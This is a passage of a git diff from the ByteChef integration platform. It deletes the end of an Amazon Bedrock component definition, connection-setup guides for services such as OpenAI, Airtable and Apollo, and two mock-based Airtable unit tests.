-      "minValue": null,
-      "name": "maxTokens",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "INTEGER"
-    }, {
-      "advancedOption": true,
-      "controlType": "NUMBER",
-      "defaultValue": 1.0,
-      "description": "Controls randomness:  Higher values will make the output more random, while lower values like will make it more focused and deterministic.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Temperature",
-      "maxNumberPrecision": null,
-      "maxValue": 2.0,
-      "metadata": { },
-      "minNumberPrecision": null,
-      "minValue": 0.0,
-      "name": "temperature",
-      "numberPrecision": null,
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "NUMBER"
-    }, {
-      "advancedOption": true,
-      "controlType": "NUMBER",
-      "defaultValue": 1.0,
-      "description": "An alternative to sampling with temperature, called nucleus sampling,  where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Top P",
-      "maxNumberPrecision": null,
-      "maxValue": null,
-      "metadata": { },
-      "minNumberPrecision": null,
-      "minValue": null,
-      "name": "topP",
-      "numberPrecision": null,
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "NUMBER"
-    } ],
-    "title": "Amazon Bedrock Model",
-    "type": {
-      "name": "MODEL",
-      "key": "model",
-      "label": "Model",
-      "multipleElements": false,
-      "required": true
-    },
-    "workflowNodeDescription": null
-  } ],
-  "componentCategories": [ {
-    "name": "artificial-intelligence",
-    "label": "Artificial Intelligence"
-  } ],
-  "connection": {
-    "authorizationRequired": null,
-    "authorizations": [ {
-      "acquire": null,
-      "apply": null,
-      "authorizationCallback": null,
-      "authorizationUrl": null,
-      "clientId": null,
-      "clientSecret": null,
-      "description": null,
-      "detectOn": null,
-      "name": "custom",
-      "oauth2AuthorizationExtraQueryParameters": null,
-      "pkce": null,
-      "properties": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": "Access Key ID",
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "accessKeyId",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      }, {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": "Secret Access Key",
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "secretAccessKey",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      }, {
-        "advancedOption": null,
-        "controlType": "SELECT",
-        "defaultValue": "us-east-1",
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "region",
-        "options": [ {
-          "description": null,
-          "label": "af-south-1",
-          "value": "af-south-1"
-        }, {
-          "description": null,
-          "label": "ap-east-1",
-          "value": "ap-east-1"
-        }, {
-          "description": null,
-          "label": "ap-east-2",
-          "value": "ap-east-2"
-        }, {
-          "description": null,
-          "label": "ap-northeast-1",
-          "value": "ap-northeast-1"
-        }, {
-          "description": null,
-          "label": "ap-northeast-2",
-          "value": "ap-northeast-2"
-        }, {
-          "description": null,
-          "label": "ap-northeast-3",
-          "value": "ap-northeast-3"
-        }, {
-          "description": null,
-          "label": "ap-south-1",
-          "value": "ap-south-1"
-        }, {
-          "description": null,
-          "label": "ap-south-2",
-          "value": "ap-south-2"
-        }, {
-          "description": null,
-          "label": "ap-southeast-1",
-          "value": "ap-southeast-1"
-        }, {
-          "description": null,
-          "label": "ap-southeast-2",
-          "value": "ap-southeast-2"
-        }, {
-          "description": null,
-          "label": "ap-southeast-3",
-          "value": "ap-southeast-3"
-        }, {
-          "description": null,
-          "label": "ap-southeast-4",
-          "value": "ap-southeast-4"
-        }, {
-          "description": null,
-          "label": "ap-southeast-5",
-          "value": "ap-southeast-5"
-        }, {
-          "description": null,
-          "label": "ap-southeast-6",
-          "value": "ap-southeast-6"
-        }, {
-          "description": null,
-          "label": "ap-southeast-7",
-          "value": "ap-southeast-7"
-        }, {
-          "description": null,
-          "label": "aws-cn-global",
-          "value": "aws-cn-global"
-        }, {
-          "description": null,
-          "label": "aws-global",
-          "value": "aws-global"
-        }, {
-          "description": null,
-          "label": "aws-iso-b-global",
-          "value": "aws-iso-b-global"
-        }, {
-          "description": null,
-          "label": "aws-iso-e-global",
-          "value": "aws-iso-e-global"
-        }, {
-          "description": null,
-          "label": "aws-iso-f-global",
-          "value": "aws-iso-f-global"
-        }, {
-          "description": null,
-          "label": "aws-iso-global",
-          "value": "aws-iso-global"
-        }, {
-          "description": null,
-          "label": "aws-us-gov-global",
-          "value": "aws-us-gov-global"
-        }, {
-          "description": null,
-          "label": "ca-central-1",
-          "value": "ca-central-1"
-        }, {
-          "description": null,
-          "label": "ca-west-1",
-          "value": "ca-west-1"
-        }, {
-          "description": null,
-          "label": "cn-north-1",
-          "value": "cn-north-1"
-        }, {
-          "description": null,
-          "label": "cn-northwest-1",
-          "value": "cn-northwest-1"
-        }, {
-          "description": null,
-          "label": "eu-central-1",
-          "value": "eu-central-1"
-        }, {
-          "description": null,
-          "label": "eu-central-2",
-          "value": "eu-central-2"
-        }, {
-          "description": null,
-          "label": "eu-isoe-west-1",
-          "value": "eu-isoe-west-1"
-        }, {
-          "description": null,
-          "label": "eu-north-1",
-          "value": "eu-north-1"
-        }, {
-          "description": null,
-          "label": "eu-south-1",
-          "value": "eu-south-1"
-        }, {
-          "description": null,
-          "label": "eu-south-2",
-          "value": "eu-south-2"
-        }, {
-          "description": null,
-          "label": "eu-west-1",
-          "value": "eu-west-1"
-        }, {
-          "description": null,
-          "label": "eu-west-2",
-          "value": "eu-west-2"
-        }, {
-          "description": null,
-          "label": "eu-west-3",
-          "value": "eu-west-3"
-        }, {
-          "description": null,
-          "label": "eusc-de-east-1",
-          "value": "eusc-de-east-1"
-        }, {
-          "description": null,
-          "label": "il-central-1",
-          "value": "il-central-1"
-        }, {
-          "description": null,
-          "label": "me-central-1",
-          "value": "me-central-1"
-        }, {
-          "description": null,
-          "label": "me-south-1",
-          "value": "me-south-1"
-        }, {
-          "description": null,
-          "label": "mx-central-1",
-          "value": "mx-central-1"
-        }, {
-          "description": null,
-          "label": "sa-east-1",
-          "value": "sa-east-1"
-        }, {
-          "description": null,
-          "label": "us-east-1",
-          "value": "us-east-1"
-        }, {
-          "description": null,
-          "label": "us-east-2",
-          "value": "us-east-2"
-        }, {
-          "description": null,
-          "label": "us-gov-east-1",
-          "value": "us-gov-east-1"
-        }, {
-          "description": null,
-          "label": "us-gov-west-1",
-          "value": "us-gov-west-1"
-        }, {
-          "description": null,
-          "label": "us-iso-east-1",
-          "value": "us-iso-east-1"
-        }, {
-          "description": null,
-          "label": "us-iso-west-1",
-          "value": "us-iso-west-1"
-        }, {
-          "description": null,
-          "label": "us-isob-east-1",
-          "value": "us-isob-east-1"
-        }, {
-          "description": null,
-          "label": "us-isob-west-1",
-          "value": "us-isob-west-1"
-        }, {
-          "description": null,
-          "label": "us-isof-east-1",
-          "value": "us-isof-east-1"
-        }, {
-          "description": null,
-          "label": "us-isof-south-1",
-          "value": "us-isof-south-1"
-        }, {
-          "description": null,
-          "label": "us-west-1",
-          "value": "us-west-1"
-        }, {
-          "description": null,
-          "label": "us-west-2",
-          "value": "us-west-2"
-        } ],
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      } ],
-      "refresh": null,
-      "refreshOn": null,
-      "refreshToken": null,
-      "refreshUrl": null,
-      "scopes": null,
-      "title": null,
-      "tokenUrl": null,
-      "type": "CUSTOM"
-    } ],
-    "baseUri": null,
-    "help": null,
-    "processErrorResponse": null,
-    "properties": null,
-    "test": null,
-    "version": 1
-  },
-  "customAction": null,
-  "customActionHelp": null,
-  "description": "Amazon Bedrock is a fully managed service that offers a choice of high-performing foundation models (FMs) from leading AI companies.",
-  "icon": "path:assets/amazon-bedrock.svg",
-  "metadata": null,
-  "name": "amazonBedrock",
-  "resources": null,
-  "tags": null,
-  "title": "Amazon Bedrock",
-  "triggers": null,
-  "unifiedApi": null,
-  "version": 1
-}
\ No newline at end of file
diff --git a/server/libs/modules/components/ai/llm/open-ai/src/main/resources/connection.mdx b/server/libs/modules/components/ai/llm/open-ai/src/main/resources/connection.mdx
deleted file mode 100644
index 5175d632470..00000000000
--- a/server/libs/modules/components/ai/llm/open-ai/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,11 +0,0 @@
-## Connection Setup
-
-1. Go to the [OpenAI API](https://platform.openai.com/settings/organization/general).
-2. In the left sidebar, click on **API Keys**.
-3. Click **Create new secret key**.
-4. Enter a name and select the project for the key and click **Create secret key**.
-5. Copy the API key and use it to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/coPV2tDXMJmcpVHubS0J?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/ai/vectorstore/couchbase/src/main/resources/connection.mdx b/server/libs/modules/components/ai/vectorstore/couchbase/src/main/resources/connection.mdx
deleted file mode 100644
index d769c8e0559..00000000000
--- a/server/libs/modules/components/ai/vectorstore/couchbase/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,15 +0,0 @@
-## Connection Setup
-
-[Official documentation](https://docs.couchbase.com/cloud/get-started/connect.html)
-
-Step-by-step guide:
-
-1. Create a Cluster, click on it
-2. Go to Buckets, Create a Bucket
-3. Go to Settings → Networking → Allow IP Addresses, Allow your current IP address
-4. Go to Settings → Security, Create Access (username and password)
-5. Go to Data Tools → Search, Create a Search Index
-6. Go to Connect, Copy Public Connection String
-
-Now you have Public Connection String, Username, Password, Index Name and can create a connection
-
diff --git a/server/libs/modules/components/airtable/src/main/resources/connection.mdx b/server/libs/modules/components/airtable/src/main/resources/connection.mdx
deleted file mode 100644
index 7d1d592f20c..00000000000
--- a/server/libs/modules/components/airtable/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,20 +0,0 @@
-## Connection Setup
-
-Connect Airtable to ByteChef using a Personal Access Token (PAT).
-
-### Create a Personal Access Token in Airtable
-1. Log in to your Airtable account.
-2. Open the Personal access tokens page: https://airtable.com/create/tokens
-3. Click **+Create token**.
-4. Enter a descriptive Name for your token (for example, "ByteChef Token").
-5. Add the required Scopes:
-   - `data.records:read`
-   - `data.records:write`
-   - `schema.bases:read`
-6. Set Access for the token:
-   - Choose one or more specific bases, an entire workspace, or all bases you own. For least privilege, select only the bases ByteChef needs to access.
-7. Click **Create token** and copy the token shown.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/X9OLHWqaXwsSSpY4bJLQ?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/airtable/src/test/java/com/bytechef/component/airtable/util/AirtableItemReaderTest.java b/server/libs/modules/components/airtable/src/test/java/com/bytechef/component/airtable/util/AirtableItemReaderTest.java
deleted file mode 100644
index 882801c4d4e..00000000000
--- a/server/libs/modules/components/airtable/src/test/java/com/bytechef/component/airtable/util/AirtableItemReaderTest.java
+++ /dev/null
@@ -1,180 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.airtable.util;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.assertj.core.api.Assertions.assertThatThrownBy;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.airtable.datastream.AirtableItemReader;
-import com.bytechef.component.airtable.util.AirtableUtils.AirtableField;
-import com.bytechef.component.airtable.util.AirtableUtils.AirtableTable;
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import com.bytechef.component.exception.ProviderException;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class AirtableItemReaderTest {
-
-    private AirtableItemReader airtableItemReader;
-    private Parameters inputParameters;
-    private Parameters connectionParameters;
-    private ClusterElementContext context;
-    private Http.Executor mockedExecutor;
-    private Http.Response mockedResponse;
-
-    @BeforeEach
-    void setUp() {
-        airtableItemReader = new AirtableItemReader();
-        inputParameters = mock(Parameters.class);
-        connectionParameters = mock(Parameters.class);
-        context = mock(ClusterElementContext.class);
-        mockedExecutor = mock(Http.Executor.class);
-        mockedResponse = mock(Http.Response.class);
-
-        when(inputParameters.getRequiredString("baseId")).thenReturn("base123");
-        when(inputParameters.getRequiredString("tableId")).thenReturn("table456");
-    }
-
-    @Test
-    void testGetFieldsReturnsFieldDefinitions() {
-        Map<String, List<AirtableTable>> tablesMap = Map.of(
-            "tables", List.of(new AirtableTable(
-                "table456", "Test Table",
-                List.of(
-                    new AirtableField("fld1", "Name", "Name field", "singleLineText", null),
-                    new AirtableField("fld2", "Email", "Email field", "email", null),
-                    new AirtableField("fld3", "Count", "Count field", "autoNumber", null),
-                    new AirtableField("fld4", "Active", "Active field", "checkbox", null)),
-                "description", "primaryField", List.of())));
-
-        setupMocks(tablesMap);
-
-        List<FieldDefinition> fields = airtableItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(4);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("Name");
-        assertThat(fields.get(0)
-            .type()).isEqualTo(String.class);
-        assertThat(fields.get(1)
-            .name()).isEqualTo("Email");
-        assertThat(fields.get(1)
-            .type()).isEqualTo(String.class);
-        assertThat(fields.get(2)
-            .name()).isEqualTo("Count");
-        assertThat(fields.get(2)
-            .type()).isEqualTo(Integer.class);
-        assertThat(fields.get(3)
-            .name()).isEqualTo("Active");
-        assertThat(fields.get(3)
-            .type()).isEqualTo(Boolean.class);
-    }
-
-    @Test
-    void testGetFieldsSkipsCollaboratorFields() {
-        Map<String, List<AirtableTable>> tablesMap = Map.of(
-            "tables", List.of(new AirtableTable(
-                "table456", "Test Table",
-                List.of(
-                    new AirtableField("fld1", "Name", "Name field", "singleLineText", null),
-                    new AirtableField("fld2", "Owner", "Owner field", "singleCollaborator", null),
-                    new AirtableField("fld3", "Team", "Team field", "multipleCollaborators", null)),
-                "description", "primaryField", List.of())));
-
-        setupMocks(tablesMap);
-
-        List<FieldDefinition> fields = airtableItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(1);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("Name");
-    }
-
-    @Test
-    void testGetFieldsThrowsExceptionWhenTableNotFound() {
-        Map<String, List<AirtableTable>> tablesMap = Map.of(
-            "tables", List.of(new AirtableTable(
-                "differentTable", "Different Table",
-                List.of(),
-                "description", "primaryField", List.of())));
-
-        setupMocks(tablesMap);
-
-        assertThatThrownBy(() -> airtableItemReader.getFields(inputParameters, connectionParameters, context))
-            .isInstanceOf(ProviderException.BadRequestException.class)
-            .hasMessage("Requested table does not exist");
-    }
-
-    @Test
-    void testGetFieldsHandlesNumberAndListTypes() {
-        Map<String, List<AirtableTable>> tablesMap = Map.of(
-            "tables", List.of(new AirtableTable(
-                "table456", "Test Table",
-                List.of(
-                    new AirtableField("fld1", "Amount", "Amount field", "number", null),
-                    new AirtableField("fld2", "Tags", "Tags field", "multipleSelects", null),
-                    new AirtableField("fld3", "Percentage", "Percentage field", "percent", null)),
-                "description", "primaryField", List.of())));
-
-        setupMocks(tablesMap);
-
-        List<FieldDefinition> fields = airtableItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("Amount");
-        assertThat(fields.get(0)
-            .type()).isEqualTo(Number.class);
-        assertThat(fields.get(1)
-            .name()).isEqualTo("Tags");
-        assertThat(fields.get(1)
-            .type()).isEqualTo(List.class);
-        assertThat(fields.get(2)
-            .name()).isEqualTo("Percentage");
-        assertThat(fields.get(2)
-            .type()).isEqualTo(Integer.class);
-    }
-
-    @SuppressWarnings("unchecked")
-    private void setupMocks(Map<String, List<AirtableTable>> tablesMap) {
-        when(context.http(any())).thenAnswer(invocation -> {
-            Context.ContextFunction<Http, Http.Executor> function = invocation.getArgument(0);
-            Http mockHttp = mock(Http.class);
-
-            when(mockHttp.get(any(String.class))).thenReturn(mockedExecutor);
-            when(mockedExecutor.configuration(any())).thenReturn(mockedExecutor);
-            when(mockedExecutor.execute()).thenReturn(mockedResponse);
-            when(mockedResponse.getBody(Map.class)).thenReturn((Map) tablesMap);
-            when(mockedResponse.getBody(any(TypeReference.class))).thenReturn(tablesMap);
-
-            return function.apply(mockHttp);
-        });
-    }
-}
diff --git a/server/libs/modules/components/airtable/src/test/java/com/bytechef/component/airtable/util/AirtableItemWriterTest.java b/server/libs/modules/components/airtable/src/test/java/com/bytechef/component/airtable/util/AirtableItemWriterTest.java
deleted file mode 100644
index 2d691e628bc..00000000000
--- a/server/libs/modules/components/airtable/src/test/java/com/bytechef/component/airtable/util/AirtableItemWriterTest.java
+++ /dev/null
@@ -1,187 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.airtable.util;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.assertj.core.api.Assertions.assertThatThrownBy;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.airtable.datastream.AirtableItemWriter;
-import com.bytechef.component.airtable.util.AirtableUtils.AirtableField;
-import com.bytechef.component.airtable.util.AirtableUtils.AirtableTable;
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import com.bytechef.component.exception.ProviderException;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class AirtableItemWriterTest {
-
-    private AirtableItemWriter airtableItemWriter;
-    private Parameters inputParameters;
-    private Parameters connectionParameters;
-    private ClusterElementContext context;
-    private Http.Executor mockedExecutor;
-    private Http.Response mockedResponse;
-
-    @BeforeEach
-    void setUp() {
-        airtableItemWriter = new AirtableItemWriter();
-        inputParameters = mock(Parameters.class);
-        connectionParameters = mock(Parameters.class);
-        context = mock(ClusterElementContext.class);
-        mockedExecutor = mock(Http.Executor.class);
-        mockedResponse = mock(Http.Response.class);
-
-        when(inputParameters.getRequiredString("baseId")).thenReturn("base123");
-        when(inputParameters.getRequiredString("tableId")).thenReturn("table456");
-    }
-
-    @Test
-    void testGetFieldsReturnsFieldDefinitions() {
-        Map<String, List<AirtableTable>> tablesMap = Map.of(
-            "tables", List.of(new AirtableTable(
-                "table456", "Test Table",
-                List.of(
-                    new AirtableField("fld1", "Name", "Name field", "singleLineText", null),
-                    new AirtableField("fld2", "Email", "Email field", "email", null),
-                    new AirtableField("fld3", "Count", "Count field", "count", null)),
-                "description", "primaryField", List.of())));
-
-        setupMocks(tablesMap);
-
-        List<FieldDefinition> fields = airtableItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("Name");
-        assertThat(fields.get(0)
-            .type()).isEqualTo(String.class);
-        assertThat(fields.get(1)
-            .name()).isEqualTo("Email");
-        assertThat(fields.get(1)
-            .type()).isEqualTo(String.class);
-        assertThat(fields.get(2)
-            .name()).isEqualTo("Count");
-        assertThat(fields.get(2)
-            .type()).isEqualTo(Integer.class);
-    }
-
-    @Test
-    void testGetFieldsSkipsCollaboratorFields() {
-        Map<String, List<AirtableTable>> tablesMap = Map.of(
-            "tables", List.of(new AirtableTable(
-                "table456", "Test Table",
-                List.of(
-                    new AirtableField("fld1", "Title", "Title field", "singleLineText", null),
-                    new AirtableField("fld2", "Assignee", "Assignee field", "singleCollaborator", null),
-                    new AirtableField("fld3", "Reviewers", "Reviewers field", "multipleCollaborators", null)),
-                "description", "primaryField", List.of())));
-
-        setupMocks(tablesMap);
-
-        List<FieldDefinition> fields = airtableItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(1);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("Title");
-    }
-
-    @Test
-    void testGetFieldsThrowsExceptionWhenTableNotFound() {
-        Map<String, List<AirtableTable>> tablesMap = Map.of(
-            "tables", List.of(new AirtableTable(
-                "otherTable", "Other Table",
-                List.of(),
-                "description", "primaryField", List.of())));
-
-        setupMocks(tablesMap);
-
-        assertThatThrownBy(() -> airtableItemWriter.getFields(inputParameters, connectionParameters, context))
-            .isInstanceOf(ProviderException.BadRequestException.class)
-            .hasMessage("Requested table does not exist");
-    }
-
-    @Test
-    void testGetFieldsWithEmptyFields() {
-        Map<String, List<AirtableTable>> tablesMap = Map.of(
-            "tables", List.of(new AirtableTable(
-                "table456", "Empty Table",
-                List.of(),
-                "description", "primaryField", List.of())));
-
-        setupMocks(tablesMap);
-
-        List<FieldDefinition> fields = airtableItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).isEmpty();
-    }
-
-    @Test
-    void testGetFieldsHandlesAllFieldTypes() {
-        Map<String, List<AirtableTable>> tablesMap = Map.of(
-            "tables", List.of(new AirtableTable(
-                "table456", "Test Table",
-                List.of(
-                    new AirtableField("fld1", "Number", "Number field", "number", null),
-                    new AirtableField("fld2", "Checkbox", "Checkbox field", "checkbox", null),
-                    new AirtableField("fld3", "Select", "Select field", "multipleSelects", null),
-                    new AirtableField("fld4", "Percent", "Percent field", "percent", null)),
-                "description", "primaryField", List.of())));
-
-        setupMocks(tablesMap);
-
-        List<FieldDefinition> fields = airtableItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(4);
-        assertThat(fields.get(0)
-            .type()).isEqualTo(Number.class);
-        assertThat(fields.get(1)
-            .type()).isEqualTo(Boolean.class);
-        assertThat(fields.get(2)
-            .type()).isEqualTo(List.class);
-        assertThat(fields.get(3)
-            .type()).isEqualTo(Integer.class);
-    }
-
-    @SuppressWarnings("unchecked")
-    private void setupMocks(Map<String, List<AirtableTable>> tablesMap) {
-        when(context.http(any())).thenAnswer(invocation -> {
-            Context.ContextFunction<Http, Http.Executor> function = invocation.getArgument(0);
-            Http mockHttp = mock(Http.class);
-
-            when(mockHttp.get(any(String.class))).thenReturn(mockedExecutor);
-            when(mockedExecutor.configuration(any())).thenReturn(mockedExecutor);
-            when(mockedExecutor.execute()).thenReturn(mockedResponse);
-            when(mockedResponse.getBody(Map.class)).thenReturn((Map) tablesMap);
-            when(mockedResponse.getBody(any(TypeReference.class))).thenReturn(tablesMap);
-
-            return function.apply(mockHttp);
-        });
-    }
-}
diff --git a/server/libs/modules/components/aitable/src/main/resources/connection.mdx b/server/libs/modules/components/aitable/src/main/resources/connection.mdx
deleted file mode 100644
index c4abd377d6f..00000000000
--- a/server/libs/modules/components/aitable/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,17 +0,0 @@
-## Connection Setup
-
-Connect AITable to ByteChef using a Bearer Token (API Token).
-
-### Create an AITable API Token
-1. Sign in to AITable.
-2. Click your profile avatar in the lower-left corner and open **My Settings**.
-3. Go to the **Developer** tab.
-4. Click the icon to generate a new **API Token**.
-5. Copy the token and store it securely.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.69531250% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/51781518-3dd5-4d75-9a37-0cc85a58a66f?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
-### References
-- AITable Quick Start and API Token: https://developers.aitable.ai/api/quick-start/
diff --git a/server/libs/modules/components/amplitude/src/main/resources/connection.mdx b/server/libs/modules/components/amplitude/src/main/resources/connection.mdx
deleted file mode 100644
index c71e19133fb..00000000000
--- a/server/libs/modules/components/amplitude/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,16 +0,0 @@
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your dashboard.
-2. Click on **Settings**.
-3. Click on **Organization settings**.
-4. Click on **Projects**.
-5. Select project you wish to connect to.
-6. Click on **Show**.
-7. Here you can see API key.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/5d7e0912-a448-4413-ba45-42a94acf7d05?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/apify/src/main/resources/connection.mdx b/server/libs/modules/components/apify/src/main/resources/connection.mdx
deleted file mode 100644
index c71bed1b879..00000000000
--- a/server/libs/modules/components/apify/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,15 +0,0 @@
-## Connection Setup
-
-### Find Token
-
-1. Navigate to your dashboard.
-2. Click on **Settings**.
-3. Click on **API & Integrations**.
-4. Click **Create new token**.
-5. Enter description.
-6. Click on **Create**.
-7. Click here to copy token.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/e1d71885-a15e-4726-bf02-fc0e142bbaec?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/apollo/src/main/resources/connection.mdx b/server/libs/modules/components/apollo/src/main/resources/connection.mdx
deleted file mode 100644
index 54e03840287..00000000000
--- a/server/libs/modules/components/apollo/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,38 +0,0 @@
-## Connection Setup
-
-Connect Apollo to ByteChef using either an API Key or OAuth 2.0 (Authorization Code), depending on whether you want a single server-owned key or user-consented access.
-
-### Option 1 — API Key
-Use this when you have an Apollo API key and do not require end-user OAuth consent.
-
-1. In Apollo, go to the bottom-left menu and click on **Admin Settings**.
-2. Click on **Integrations**.
-3. Find **API** and click **Connect**.
-4. Open the **API Keys** tab.
-5. Click **+ Create new key**.
-6. Enter a descriptive name and description.
-7. Choose the specific endpoints the key should access (least privilege), or enable **Set as master key** only if your use case requires broad access.
-8. Click **Create API key**. Copy the key value and store it securely.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/KVEx8pfDMofgNPhdIc6q?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-### Option 2 — OAuth 2.0 Authorization Code
-Use this when you want each user to authorize access to their own Apollo account.
-
-1. In Apollo, go to the bottom-left menu and click on **Admin Settings**.
-2. Click on **Integrations**.
-3. Find **API** and click **Connect**.
-4. Choose **OAuth registration** and provide:
-   - App name and logo
-   - Add the ByteChef OAuth callback URL to your app:
-        - `https://app.bytechef.io/callback` (Cloud)
-        - `http://127.0.0.1:5173/callback` (Local development)
-   - Scopes: select only the scopes your workflows need (principle of least privilege).
-5. Verify OAuth Redirect URL if needed.
-6. Submit the registration and copy the generated **Client ID** and **Client Secret**.
-
